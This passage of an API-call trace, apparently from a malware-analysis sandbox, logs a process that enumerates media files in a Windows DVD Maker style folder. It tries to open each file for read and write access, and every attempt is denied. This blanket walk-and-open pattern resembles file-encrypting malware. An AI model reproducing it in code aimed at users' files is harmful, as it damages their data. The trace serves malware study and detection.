ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0103.916] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png") returned 77 [0103.916] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.918] GetLastError () returned 0x5 [0103.918] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0103.918] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0103.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.918] GetLastError () returned 0x5 [0103.918] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0103.918] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png") returned 65 [0103.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.919] GetLastError () returned 0x5 [0103.919] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0103.919] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png") returned 67 [0103.919] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.919] GetLastError () returned 0x5 [0103.919] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0103.919] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv") returned 78 [0103.919] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.921] GetLastError () returned 0x5 [0103.921] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0103.921] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv") returned 82 [0103.921] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.921] GetLastError () returned 0x5 [0103.921] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0103.921] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv") returned 76 [0103.921] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.922] GetLastError () returned 0x5 [0103.922] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1 [0103.922] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0103.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.922] GetLastError () returned 0x5 [0103.922] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0103.922] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png") returned 72 [0103.922] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.924] GetLastError () returned 0x5 [0103.924] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0103.924] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png") returned 72 [0103.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.925] GetLastError () returned 0x5 [0103.925] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0103.925] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0103.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.925] GetLastError () returned 0x5 [0103.925] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0103.925] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned 73 [0103.925] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.926] GetLastError () returned 0x5 [0103.926] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0103.926] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned 72 [0103.926] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.927] GetLastError () returned 0x5 [0103.927] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0103.927] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned 75 [0103.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.928] GetLastError () returned 0x5 [0103.928] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0103.928] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned 75 [0103.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.928] GetLastError () returned 0x5 [0103.928] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0103.928] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned 65 [0103.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.929] GetLastError () returned 0x5 [0103.929] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0103.929] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned 77 [0103.929] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.930] GetLastError () returned 0x5 [0103.930] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0103.930] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned 81 [0103.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.931] GetLastError () returned 0x5 [0103.931] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0103.931] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned 75 [0103.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.931] GetLastError () returned 0x5 [0103.931] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0103.931] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned 79 [0103.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.932] GetLastError () returned 0x5 [0103.932] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0103.932] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv") returned 73 [0103.932] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.933] GetLastError () returned 0x5 [0103.933] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0103.933] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv") returned 77 [0103.934] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.934] GetLastError () returned 0x5 [0103.934] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0103.934] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png") returned 66 [0103.934] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.934] GetLastError () returned 0x5 [0103.934] FindNextFileW (in: 